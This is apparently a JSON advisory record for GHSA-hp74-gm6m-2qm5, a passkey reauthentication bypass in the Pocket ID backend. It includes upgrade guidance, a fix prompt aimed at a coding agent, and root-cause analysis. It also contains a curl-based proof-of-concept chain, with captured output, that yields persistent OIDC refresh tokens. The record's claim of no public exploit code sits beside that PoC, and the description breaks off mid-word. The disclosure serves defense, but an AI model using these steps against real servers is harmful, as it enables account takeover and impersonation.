{"answers":{"affected":"3 open source packages ship an affected version, including github.com/pocket-id/pocket-id/backend.","exploited":"There is no known exploitation of GHSA-hp74-gm6m-2qm5 in the wild and no public exploit code.","fix":"Upgrade github.com/pocket-id/pocket-id/backend to 0.0.0-20260419162744-978ac87deffe or later.","what":"GHSA-hp74-gm6m-2qm5 is an authentication bypass vulnerability in github.com/pocket-id/pocket-id/backend, published on 28 Jul 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-hp74-gm6m-2qm5 and fix it if it is affected.\n\nWhat it is: GHSA-hp74-gm6m-2qm5 is an authentication bypass vulnerability in github.com/pocket-id/pocket-id/backend, published on 28 Jul 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-hp74-gm6m-2qm5 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/pocket-id/pocket-id/backend (Go): affected all versions; fixed in 0.0.0-20260419162744-978ac87deffe\n- github.com/pocket-id/pocket-id/backend (Go): affected all versions; fixed in 0.0.0-20260419162744-978ac87deffe\n- github.com/pocket-id/pocket-id/backend (Go): affected all versions; fixed in 0.0.0-20260419162744-978ac87deffe\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-hp74-gm6m-2qm5/ (Markdown: https://insights.sbomify.com/GHSA-hp74-gm6m-2qm5/index.md)","id":"GHSA-hp74-gm6m-2qm5","markdown":"https://insights.sbomify.com/GHSA-hp74-gm6m-2qm5/index.md","name":"GHSA-hp74-gm6m-2qm5","record":{"aliases":["GO-2026-6117"],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["account_takeover","privilege_escalation"],"network_reachable":"yes","non_default_config":true,"product_category":"Identity Provider","requires_auth":"low_privilege","summary":"Attackers bypass passkey step-up requirements to obtain persistent refresh tokens, enabling indefinite victim impersonation in Pocket ID.","user_interaction":"not_required","vuln_class":"auth_bypass"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"# Reauthentication Bypass via One-Time Access Token Login\n\n## Summary\n\nA weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with `RequiresReauthentication: true`. The `POST /api/webauthn/reauthenticate` endpoint's access-token fallback checks only JWT freshness (`IssuedAt` within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. `session=deadbeef`) is accepted, collapsing the reauth boundary to token recency alone.\n\nThe bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains `access_token` (1-hour TTL), `id_token` (victim's name, email, profile), and `refresh_token` (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely.\n\n## Root Cause\n\n`CreateReauthenticationTokenWithAccessToken` (webauthn_service.go:362-403) only checks that the access token's `IssuedAt` claim is less than 60 seconds old:\n\n```go\n// webauthn_service.go:378-381\ntokenExpiration, ok := token.IssuedAt()\nif !ok || time.Since(tokenExpiration) \u003e time.Minute {\n    return \"\", \u0026common.ReauthenticationRequiredError{}\n}\n```\n\nIt does not check HOW the user originally authenticated. The `reauthenticateHandler` (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion:\n\n```go\n// webauthn_controller.go:189-199\ncredentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body)\nif err == nil {\n    token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...)\n} else {\n    // FALLBACK: Only checks access token age, not auth method\n    accessToken, _ := c.Cookie(cookie.AccessTokenCookieName)\n    token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken)\n}\n```\n\nAdditionally, the handler's session cookie check (line 180) only verifies that a cookie named `session` exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. `session=deadbeef`) satisfies the check:\n\n```go\n// webauthn_controller.go:180-184\nsessionID, err := c.Cookie(cookie.SessionIdCookieName)\nif err != nil {\n    _ = c.Error(\u0026common.MissingSessionIdError{})\n    return\n}\n// sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT\n// to CreateReauthenticationTokenWithAccessToken (the fallback path)\n```\n\nIn the fallback path, the `sessionID` variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session.\n\nMeanwhile, `GenerateAccessToken` (jwt_service.go:190-195) always sets `IssuedAt(now)` regardless of how authentication was performed:\n\n```go\n// jwt_service.go:191-195\nnow := time.Now()\ntoken, err := jwt.NewBuilder().\n    Subject(user.ID).\n    Expiration(now.Add(...)).\n    IssuedAt(now).  // Always \"now\" — regardless of auth method\n```\n\nThis function is called by:\n1. WebAuthn login (intended passkey path)\n2. One-time access token exchange (one_time_access_service.go:200)\n3. User signup (user_signup_controller.go:182)\n\nAll three produce tokens that bypass the reauthentication freshness check.\n\n## Attack Chain\n\n**Precondition**: An OIDC client has `RequiresReauthentication: true`. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled).\n\n1. **Exchange OTA for fresh JWT**: `POST /api/one-time-access-token/{token}` returns a fresh access token with `IssuedAt = now`.\n\n2. **Set any session cookie**: The handler checks for cookie existence only. Set `session=deadbeef` (or any arbitrary value). No need to call `/api/webauthn/login/start`.\n\n3. **Bypass reauthentication**: `POST /api/webauthn/reauthenticate` with empty body `{}` and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction.\n\n4. **Authorize sensitive client**: `POST /api/oidc/authorize` with the reauthentication token and the target client's ID. The authorization code is issued.\n\n5. **Get OIDC tokens**: `POST /api/oidc/token` exchanges the authorization code for access_token, id_token, and refresh_token.\n\nAll steps complete in under 2 seconds (60-second window is trivial for scripts).\n\n## Proof of Concept (Verified Live)\n\nTested against Pocket ID HEAD (626adbf) running in Docker with e2etest build.\n\n```bash\n# Seed test database\ncurl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true\n\n# Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV)\ncurl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV\n# Returns 200 with user info, sets access_token cookie with IssuedAt=now\n\n# Bypass reauthentication - empty body triggers access token fallback\n# Session cookie can be ANY arbitrary value - handler only checks existence\ncurl -s -b cookies.txt -b \"session=deadbeef\" -X POST http://localhost:1411/api/webauthn/reauthenticate \\\n  -H \"Content-Type: application/json\" -d '{}'\n# Returns: {\"reauthenticationToken\":\"al9JkF9kVI0V3UsAqMJIIF73N4ogHial\"}\n# NO passkey interaction! Fake session cookie accepted!\n\n# Authorize sensitive OIDC client (after enabling RequiresReauthentication)\ncurl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"clientID\":\"3654a746-...\",\"scope\":\"openid profile email\",\n       \"callbackURL\":\"http://nextcloud/auth/callback\",\n       \"reauthenticationToken\":\"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7\"}'\n# Returns: {\"code\":\"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3\",\"callbackURL\":\"...\"}\n# OIDC authorization code issued without passkey!\n\n# Exchange for full OIDC token set\ncurl -s -X POST http://localhost:1411/api/oidc/token \\\n  -d \"grant_type=authorization_code\u0026code=J31Zkp...\u0026client_id=3654a746-...\"\n# Returns: access_token, id_token, refresh_token\n```\n\n**Live output from the test run:**\n```\n[A3] Bypass reauthentication (empty body -\u003e access token fallback)...\nReauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7\n[A4] Authorize Nextcloud (requiresReauthentication=true)...\nAuthorize response: {\"code\":\"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3\",\"callbackURL\":\"http://nextcloud/auth/callback\",\"issuer\":\"http://localhost:1411\"}\n[A5] Exchange authorization code for OIDC tokens...\nToken response keys: ['access_token', 'token_type', 'id_token', 'refresh_token', 'expires_in']\n=== FULL CHAIN COMPLETE ===\n```\n\n## Impact\n\nThe `RequiresReauthentication` feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access:\n\n- **Unauthorized victim-scoped downstream access**: The attacker receives a valid OIDC grant (access_token, id_token, refresh_token) for a client the admin explicitly protected with passkey reauthentication. The attacker can impersonate the victim at the downstream relying party and perform victim-scoped actions (read data, modify settings, access protected resources) -- this is not just information disclosure but active impersonation.\n- **Persistent access via refresh token**: The bypass needs to succeed only once (within 60 seconds of OTA exchange). The 30-day refresh token can be rotated indefinitely. Tested and confirmed: after 65 seconds (past the reauth window), the refresh token still produces ne","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Reauthentication Bypass via One-Time Access Token Login ## Summary A weaker authentication method (OTA token or signup token) is accepted","id":"GHSA-hp74-gm6m-2qm5","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"auth_bypass","year":"2026"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":["0.0.0-20260419162744-978ac87deffe"],"introduced":["0"],"last_affected":[],"package":"github.com/pocket-id/pocket-id/backend","purl":null,"source":"GHSA-hp74-gm6m-2qm5"},{"ecosystem":"Go","fixed":["0.0.0-20260419162744-978ac87deffe"],"introduced":["0"],"last_affected":[],"package":"github.com/pocket-id/pocket-id/backend","purl":"pkg:golang/github.com/pocket-id/pocket-id/backend","source":"GHSA-hp74-gm6m-2qm5"},{"ecosystem":"Go","fixed":["0.0.0-20260419162744-978ac87deffe"],"introduced":["0"],"last_affected":[],"package":"github.com/pocket-id/pocket-id/backend","purl":"pkg:golang/github.com/pocket-id/pocket-id/backend","source":"GO-2026-6117"}],"products":null,"published":"2026-07-28","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers bypass passkey step-up requirements to obtain persistent refresh tokens, enabling indefinite victim impersonation in Pocket ID.","url":"https://insights.sbomify.com/GHSA-hp74-gm6m-2qm5/"}